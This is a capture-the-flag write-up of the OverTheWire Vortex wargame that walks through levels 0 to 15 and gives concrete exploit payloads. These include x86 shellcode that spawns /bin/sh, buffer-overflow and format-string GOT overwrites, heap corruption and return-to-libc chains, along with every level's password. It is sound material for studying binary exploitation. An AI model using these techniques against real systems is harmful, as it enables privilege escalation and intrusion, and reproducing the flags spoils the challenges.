Overthewire Vortex Wargame
Contents
Description:
The Vortex wargame is currently composed of 27 levels. Most files you need are in /vortex/.
Level 0 -> Level 1
Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read in 4 unsigned integers in host byte order. Add these integers together and send back the results to get a username and password for vortex1. This information can be used to log in using SSH.
Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture)
I write a script to handle this challenge.
|
|
First, it makes a connection and get 16 bytes for 4 unsigned integers. Later, it uses unpack
to get those 4 numbers and add them together. We need to send back an unsigned integer, but the sum may overflow. To solve this problem, we need to let the sum mod 256^4.
After we pack and send it back, we can get the information 'Username: vortex1 Password: Gq#qu3bF3'
.
Level 1 -> Level 2
We are looking for a specific value in ptr. You may need to consider how bash handles EOF.
If we can make ptr
= 0xca ...
, we can get the shell. Now the value of ptr
is at buf + (sizeof(buf)/2)
, so need to minus (256+5) to get to esp+0x17
, and if we give it \xca
and any value to trigger default, we can get the shell.
By executing (python -c 'print("\\"*261+"\xca"+"A")') | /vortex/vortex1
, we can get the shell and the flag 23anbT\rE
.
Level 2 -> Level 3
Create a special tar file
It is a very simple tar function. But we need to be careful that it does not use option -P
, so we cannot use absolute names in files.
|
|
And we can get the flag 64ncXTvx#
.
Level 3 -> Level 4
This level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.
NOTE: ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. Lookup some information about this
If we look at the code, we can see that with 132 bytes paddings we can overwrite the value in lpp
. Later, the address of buf
will be stored in the space, which is content of lpp
as address, and the space of that address’s content as address, and it will call exit(0)
.
Take a look at exit
, it will jump to 0x8049734
, if we can make its content to the address of our shellcode, we can get the shell and the flag.
We can execute /vortex/vortex3 $(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80"+"A"*4+"\x12\x83\x04\x08")')
. 0x8048312
will be stored in lpp
, and the address 0x8048312
have the content 0x8049734
, and the content in address 0x8049734
will be replaced by the address of buf
.
And we can get the shell and the flag 2YmgK1=jw
.
Level 4 -> Level 5
This is the common format string bug, exploit it with care though as a check is made with argc. What is the layout of a process’s memory? How are programs executed?
In this challenge, we can use format string vulnerability to modify GOT.
|
|
Since argc needs to be 0, we need to use a C program as wrapper. exit
is going to jump to the content in the address 0x0804a014
. We need to modify its content.
|
|
Envp[0] contains the address we are going to modify, once two bytes, and it is at 0xffffdf90
. When printf
is executed, esp is at 0xffffde00
, so the offset is 100 and 101. Envp[1] contains the shellcode. Envp[2] is going to be printed out by printf
, and its the payload of our format string vulnerability. Our shellcode is at 0xffffdf9c
, 57244 = 0xdf9c, 8291 = 0xffff-0xdf9c. At the end, we can have 0xffffdf9c
in the address 0x0804a014
.
And we can get the shell and the flag :4VtbC4lr
.
Level 5 -> Level 6
A password is required for the next level. vortex5.c and md5.h. a-z,A-Z,0-9 is the search space. The password length is 5 chars long, it was originally 7 chars long.
This challenge is very simple, we only need to look at the main function.
It compares the result with md5 155fb95d04287b757c996d77b5ea51f7
. We can go to some md5 cracking website and find the result rlTf6
immediately.
And we can get the shell and the flag *uy5qDRb2
.
Level 6 -> Level 7
You must disassemble this level’s exploitable application in order to find the hole.
We can see that vortex6
keep exeucting execve("/vortex/vortex6", "/vortex/vortex6", 0)
. We use the following code to make a test.
|
|
First, we find that it will compare DDDD
with 0
. If they are the same, it will execute printf
and exit
. If they are not, it will execute execve("AAAA", "AAAA", 0)
.
When we replace AAAA
to /bin/sh
, we can get the shell and the flag Y52jxHtt/
.
Level 7 -> Level 8
This level requires CRC_32(argv[1], strlen(argv[1])) to be 0xe1ca95ee. You might need to extract the crc tables from the program.
In this challenge, with buffer overflow, we can get the shell easily. However, we need to pass the check of crc32
.
From gdb, we know we need 74 bytes paddings and after we put the shellcode in the environment variable, its address is 0xffffdecc
. So we can execute /vortex/vortex7 $(python -c 'print("A"*74+"\xcc\xde\xff\xff")')
, but we cannot not get the shell yet. We got 0x4759f8c9
, which is the crc32 value.
To change 0x4759f8c9
to 0xe1ca95ee
, we can use the following trick.
|
|
After using this technique, we can get the appending value 0x3da97bf1
.
By executing /vortex/vortex7 $(python -c 'print("A"*74+"\xcc\xde\xff\xff"+"\x3d\xa9\x7b\xf1")')
, we can get the shell and the flag X70A_gcgl
.
Level 8 -> Level 9
Disassemble this dynamically linked executable.
If we decompile the program, we can get pseudocode as follows.
It creates a thread to execute safecode
, drop the privilege, and executes unsafecode
. We can do buffer overflow in unsafecode easily, but since it does not have priviledge, getting the shell is not an option.
What we can do is put our shellcode when executing strcpy
, and jump back to the stack to execute it. For this shellcode, what it does is that it puts the address of our another shellcode, which is going to be stored in environment variable, to the address printf
is going to jump to. In the privileged thread, when it executes printf
, and we can get the shell.
First, we put our shellcode in the environment variable using export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40 \xcd\x80")')
.
printf
will jump to 0x804a00c
, we can replace it with 0xffffdecc
, which is where our shellcode is stored in the environment variable. We do it with assembly code.
|
|
We use nasm -f elf pwn.asm
, ld -m elf_i386 -s -o pwn pwn.o
and objdump -d -M intel pwn
to get our shellcode \xb9\x0c\xa0\x04\x08\xbb\xcc\xde\xff\xff\x89\x19
.
Later, we find we need 1036 bytes paddings to trigger buffer overflow. When we execute /vortex/vortex8 $(python -c 'print("\x90"*16+"\xb9\x0c\xa0\x04\x08\xbb\xcc\xde\xff\xff\x89\x19" +"\xeb\xfe"+"A"*1006+"\x90\xce\xff\xff")')
, we can get the shell.
The start of the stack is at 0xffffce90
, when we return to it, the shellcode on the stack will modify the address in printf
function, and we add \xeb\xfe
in behind to create a self-loop because if the main thread dies, then the program will terminate, and we cannot get the shell from the child process.
We get the shell and the flag ci41)GJhb
.
Level 9 -> Level 10
There is no information available for this level. Login to vortex.labs.overthewire.org and check it out.
When we login, we will see You have mail.
. After checking /var/spool/mail
, we can see that there is a file vortex9
in the directory, and it contains the password 5WT0}swdc
.
Level 10 -> Level 11
Read in 20 integers and write the seed used to generate those numbers in unsigned little endian format. You have a time limit of 30 seconds to do this. You must login to vortex.labs.overthewire.org
If we decompile the program, we can get pseudocode as follows.
|
|
First, we can create a C program to find the seed with brute force. We can find that magic1 is always between 100 and 400, and magic2 is the second passed from a fixed time, so if we execute the program right after /vortex/vortex10
, we can get nearly the same magic2, add 5 seconds at most.
We create a program nearly the same as the pseudocode, except that we are not sure the real magic1 and magic2, so we give it a range to seed, from seed - 300 to seed + 5 + 300
, which matches the restriction of magic1 and magic2.
Besides, since we can execute rand()
, which is directly related to magic1
, with no time gaps, we can give magic1
a range from 100 to 400
.
seq_num1 and seq_num2 are the first and second number printed out from /vortex/vortex10
.
|
|
Later, we can create a python program to wrap it up. We use it to execute /vortex/vortex10
and get the first and second number. We pass the data to another process /tmp/l3o/pwn
, which is the C program provided above, to find the seed.
When we find the seed, we pack it in unsigned int, little endian
, and send it pack to /vortex/vortex10
, and finally, we can get the shell and the flag %8sLEszy9
.
|
|
Level 11 -> Level 12
You must corrupt the heap in order to gain arbitrary control of this program. Do recall, the application is using phkmalloc.
We find that we can have 2052 bytes paddings in argv[1]
, after that, it will be a segmentation fault.
The reason is that the address stored in s
, which is going to be the place to store argv[2]
, will be modified.
What we can do is that we can make that address to an ideal place, which is the address exit@plt
is going to jump, and write the address of our shellcode in it.
First, we store our shellcode in the environment variable with export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")')
, and the address is 0xffffdeca
.
Besides, there is a gap between the address we give and the address going to store argv[2]
. For example, when executing /vortex/vortex11 $(python -c 'print("A"*2052+"\xfc\xbf\x04\x08")') $(python -c 'print("BBBB")')
, it will actually store BBBB
in 0x804c03c
, so we need to input 0x0804bfe8
to store the content in 0x0804c028
.
Later, we can run /vortex/vortex11 $(python -c 'print("A"*2052+"\xe8\xbf\x04\x08")') $(python -c 'print("\xca\xde\xff\xff")')
to get the shell and the flag. The content stored in 0x0804c028
will be changed to 0xffffdeca
, which is where we put our shellcode.
We can get the flag nKV95q]dx
.
Level 12 -> Level 13
Exploit this level knowing that the stack is not executable. You must login to vortex.labs.overthewire.org to complete this level..
If we decompile the program, we can find that pseudocode is exactly the same as Level 8 -> Level 9
, but this time, the stack is not executable.
We can use strcpy
to make printf
jump to system
, and create an executable called %d
.
In this challenge, we need 1036 bytes paddings to control EIP. However, there is a problem, the address of strcpy
contains \x00
, so I cannot use it directly.
I execute $(python -c 'print("A"*1032+"\xe4\xd2\xff\xff"+"\xb1\x86\x04\x08" +"\x0c\xa0\x04\x08"+"\xe8\xd2\xff\xff"+"\xb0\x3e\xfc\xf7"+ "\xf4\xd2\xff\xff"+"\xf4\xd2\xff\xff"+"/bin/sh")')
to get the password, let me explain how it works.
When the function unsafecode
is finished, ebp will go to 0xffffd2e4
, which is the address of hex string \xe8\xd2\xff\xff
on the stack. EIP will go to 0x080486b1
, which is the code in unsafecode
to call strcpy
. The destination will be 0x0804a00c
, and it contains the address where printf
is going to jump. The source will be 0xffffd2e8
, which contains hex string \xb0\x3e\xfc\xf7
, and it is the address of system
. So the next time printf
is executed, it will execute system("%d\n", 0)
. After strcpy
, the parent process will go to "\xb0\x3e\xfc\xf7"+"\xf4\xd2\xff\xff"+"\xf4\xd2\xff\xff"+"/bin/sh"
, and will execute a shell because 0xf7fc3eb0
is the address of system
and 0xffffd2f4
is the address of the string /bin/sh
. We can spawn a shell to wait for the child process trigger our system call.
We create an executable named %d
, and it will get password for us. Besides, we need to do export PATH="/tmp/l3o:$PATH"
for system("%d\n", 0)
to find our executable.
|
|
So later we can get the password jMyg12=nB
.
Level 13 -> Level 14
How big is your shellcode? This level has a non-executable stack. You must login to vortex.labs.overthewire.org to complete this level.
If we decompile the program, we can get pseudocode as follows.
The stack is not executable, and there are only 20 bytes for us to put on the stack. Moreover, in the main function, it erases all the environment variables, and we are not able to pass arguments when we run the program. Finally, in strchr
, there is allowed
, which contains ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 0123456789%.$\n
. If one of our input character is not in this string, it will not execute printf
, but exit directly. This challenge is really a difficult one.
However, I found that it actually put the program name /vortex/vortex13
on the bottom of the stack, it could be a chance by creating a symbolic link with an ideal name.
By creating a symbolic link with ln -s /vortex/vortex13 $(python -c 'print("\x48\xde\xff\xff"+"\x78\xde\xff\xff"+"\x70\x2e\xe6\xf7"+ "\xf5\xdf\xff\xff"+"\xf5\xdf\xff\xff"+"D"+"sh")')
and using the following program, we can get the shell. I will explain how to do that.
|
|
First, with this program, we can pass the restriction of argc = 0. The name of the file "\x48\xde\xff\xff"+"\x78\xde\xff\xff"+"\x70\x2e\xe6\xf7"+ "\xf5\xdf\xff\xff"+"\xf5\xdf\xff\xff"+"D"+"sh"
will be put on the stack at 0xffffdfe0
.
What we can do is to make ebp
to 0xffffdfe4
, and it contains 0xffffde78
, which is the ebp
address when executing main function. After vuln
finished, eip will keep executing codes in the main function, and that is return
. So, it will execute leave
and ret
, making ebp
to 0xffffde78
and esp
on 0xffffdfe8
, and it contains 0xf7e62e70
, which is the address of system
. EIP will jump to it and take the content in address 0xffffdff5
as argument, which is sh
, and we can get the shell.
When it comes to fgets
in vuln, we need to put %57316x%112$hn
to leverage the format string vulnerability. It changes the content in ebp, 0xffffde78
, to 0xffffdfe4
. 0xdfe4
is 57316, and when printf
executes, esp is at 0xffffde20
. (0xffffdfe0 - 0xffffde20) / 4 = 112, 0xffffdfe0
is used because it is the beginning of the filename, and it contains the address of ebp 0xffffde48
, which is the place going to be modified.
Finally, we get the flag DL73}uzdh
.
Level 14 -> Level 15
Based on something seen in the “real world”, it has weak encryption usage, used over a TCP/IP connection. This level requires you to apply some logic to the challenge at hand. You must login to vortex.labs.overthewire.org to complete this level.
The > indicates traffic “from the server, to the client”, and the < indicates traffic “from the client, to the server”.
If you need some hints, consider how you can divide and conquer the problem. For example, does it look like symmetric encryption, or asymmetric encryption? How can you further classify them?
After looking for some “weak” encryption algorithm used over TCP/IP connection, I found that it seems to be RC4.
It gives us this text file. Every traffic starts either using 0x3e
or 0x3c
, and they always ends with 0x0a
.
The first traffic should be used to transfer the key, and the last two messages are encrypted by this key.
|
|
The key should be the string behind 2d2d
in the first message. I guess it’s \x50\xdb\x5b\x09\x6c\xce\xf6\x98
. I use a python program to decrypt messages.
|
|
key1 should be reassign when it is going to decrypt the second message because once the key is used with encryption or decryption, the key will change.
And we can get the flag 3J=oL5fce
.
|
|
Level 15 -> Level 16
You have found an encrypted file, decrypt it (some reversing, crypt and general analysis needed, and if you’re lazy, the password is 8-bytes long and contains values between A and Z). You must login to vortex.labs.overthewire.org to complete this level.
We get two files, vortex15
, which is a program for encrypting and decrypting, and vortex15.tar.Z.enc
, which is a encrypted tar file.
If we decompile vortex15
, we can get its pseudocode as follows.
We can see that it encrypts the data by giving it a bitwise not and xor with the key, and it can be recovered by giving the same key to the file encrypted.
We found that the first 3 byte of .tar.Z file is 0x1f 0x9d 0x90
from file signature, and if we do the bitwise not to the encryption data, the first 3 byte will be 0x45 0xcc 0xc3
. That is, we can know the first 3 bytes of the key should be Z Q S
because 0x45 ^ Z = 0x1f
, and others are the same.
If we brute force right now, we still need to run with 5 unknown characters in keys, that is 11881376 combinations.
We can assume that the beginning of data in .tar.Z
file are very similar. We can use tar and compress to make a test.tar.Z
from vortex15
, and assume the beginning of this file the same as the beginning of our targetted .tar.Z file.
We can use the following program to find the key.
|
|
In function find_possibility
, we assume that the first 80 bytes in .tar.Z will be the same. We can get the possible key sets of the fourth to eighth characters. We can get l = [['D', 'Q', 'M', 'C', 'R'], ['A', 'Q'], ['D'], ['C', 'B'], ['A', 'J', 'Z']]
. Then, in get_key
, we bruteforce with these key sets. This time, we only need to try 60 combinations.
Finally, we can get the key ZQSQADCA
and congrats.txt.
|
|
Level 16 -> Level 17
Not done yet.
Author L3o
LastMod 2019-12-02